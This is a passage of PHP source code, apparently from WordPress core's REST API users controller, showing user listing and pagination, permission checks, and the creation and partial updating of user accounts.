			$prepared_args['search'] = '*' . $prepared_args['search'] . '*';
		}
		/**
		 * Filters WP_User_Query arguments when querying users via the REST API.
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_user_query/
		 *
		 * @since 4.7.0
		 *
		 * @param array           $prepared_args Array of arguments for WP_User_Query.
		 * @param WP_REST_Request $request       The current request.
		 */
		$prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request );

		$query = new WP_User_Query( $prepared_args );

		$users = array();

		foreach ( $query->results as $user ) {
			$data = $this->prepare_item_for_response( $user, $request );
			$users[] = $this->prepare_response_for_collection( $data );
		}

		$response = rest_ensure_response( $users );

		// Store pagination values for headers then unset for count query.
		$per_page = (int) $prepared_args['number'];
		$page     = ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );

		$prepared_args['fields'] = 'ID';

		$total_users = $query->get_total();

		if ( $total_users < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );
			$count_query = new WP_User_Query( $prepared_args );
			$total_users = $count_query->get_total();
		}

		$response->header( 'X-WP-Total', (int) $total_users );

		$max_pages = ceil( $total_users / $per_page );

		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$base = add_query_arg( $request->get_query_params(), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );
		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the user, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise.
	 */
	protected function get_user( $id ) {
		$error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) );
		if ( (int) $id <= 0 ) {
			return $error;
		}

		$user = get_userdata( (int) $id );
		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		return $user;
	}

	/**
	 * Checks if a given request has access to read a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$types = get_post_types( array( 'show_in_rest' => true ), 'names' );

		if ( get_current_user_id() === $user->ID ) {
			return true;
		}

		if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
		} elseif ( ! count_user_posts( $user->ID, $types ) && ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) ) {
			return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Retrieves a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$user = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $user );

		return $response;
	}

	/**
	 * Retrieves the current user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$current_user_id = get_current_user_id();

		if ( empty( $current_user_id ) ) {
			return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) );
		}

		$user     = wp_get_current_user();
		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );


		return $response;
	}

	/**
	 * Checks if a given request has access create users.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {

		if ( ! current_user_can( 'create_users' ) ) {
			return new WP_Error( 'rest_cannot_create_user', __( 'Sorry, you are not allowed to create new users.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Creates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_user_exists', __( 'Cannot create existing user.' ), array( 'status' => 400 ) );
		}

		$schema = $this->get_item_schema();

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			$check_permission = $this->check_role_update( $request['id'], $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		if ( is_multisite() ) {
			$ret = wpmu_validate_user_signup( $user->user_login, $user->user_email );

			if ( is_wp_error( $ret['errors'] ) && ! empty( $ret['errors']->errors ) ) {
				$error = new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) );
				foreach ( $ret['errors']->errors as $code => $messages ) {
					foreach ( $messages as $message ) {
						$error->add( $code, $message );
					}
					if ( $error_data = $error->get_error_data( $code ) ) {
						$error->add_data( $error_data, $code );
					}
				}
				return $error;
			}
		}

		if ( is_multisite() ) {
			$user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email );

			if ( ! $user_id ) {
				return new WP_Error( 'rest_user_create', __( 'Error creating new user.' ), array( 'status' => 500 ) );
			}

			$user->ID = $user_id;
			$user_id  = wp_update_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}

			$result= add_user_to_blog( get_site()->id, $user_id, '' );
			if ( is_wp_error( $result ) ) {
				return $result;
			}
		} else {
			$user_id = wp_insert_user( wp_slash( (array) $user ) );

			if ( is_wp_error( $user_id ) ) {
				return $user_id;
			}
		}

		$user = get_user_by( 'id', $user_id );

		/**
		 * Fires immediately after a user is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_User         $user     Inserted or updated user object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a user, false when updating.
		 */
		do_action( 'rest_insert_user', $user, $request, true );

		if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) {
			array_map( array( $user, 'add_role' ), $request['roles'] );
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $user_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$user = get_user_by( 'id', $user_id );
		$fields_update = $this->update_additional_fields_for_object( $user, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		$response = $this->prepare_item_for_response( $user, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $user_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! empty( $request['roles'] ) ) {
			if ( ! current_user_can( 'promote_user', $user->ID ) ) {
				return new WP_Error( 'rest_cannot_edit_roles', __( 'Sorry, you are not allowed to edit roles of this user.' ), array( 'status' => rest_authorization_required_code() ) );
			}

			$request_params = array_keys( $request->get_params() );
			sort( $request_params );
			// If only 'id' and 'roles' are specified (we are only trying to
			// edit roles), then only the 'promote_user' cap is required.
			if ( $request_params === array( 'id', 'roles' ) ) {
				return true;
			}
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) );
		}

		return true;
	}

	/**
	 * Updates a single user.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request['id'] );
		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$id = $user->ID;

		if ( ! $user ) {
			return new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) );
		}

		if ( email_exists( $request['email'] ) && $request['email'] !== $user->user_email ) {
			return new WP_Error( 'rest_user_invalid_email', __( 'Invalid email address.' ), array( 'status' => 400 ) );
		}

		if ( ! empty( $request['username'] ) && $request['username'] !== $user->user_login ) {
			return new WP_Error( 'rest_user_invalid_argument', __( "Username isn't editable." ), array( 'status' => 400 ) );
		}

		if ( ! empty( $request['slug'] ) && $request['slug'] !== $user->user_nicename && get_user_by( 'slug', $request['slug'] ) ) {
			return new WP_Error( 'rest_user_invalid_slug', __( 'Invalid slug.' ), array( 'status' => 400 ) );
		}

		if ( ! empty( $request['roles'] ) ) {
			$check_permission = $this->check_role_update( $id, $request['roles'] );

			if ( is_wp_error( $check_permission ) ) {
				return $check_permission;
			}
		}

		$user = $this->prepare_item_for_database( $request );

		// Ensure we're operating on the same user we already checked.
		$user->ID = $id;

		$user_id = wp_update_user( wp_slash( (array) $user ) );

		if ( is_wp_error( $user_id ) ) {
			return $user_id;
		}

		$user = get_user_by( 'id', $user_id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php */
		do_action( 'rest_insert_user', $user, $request, false );

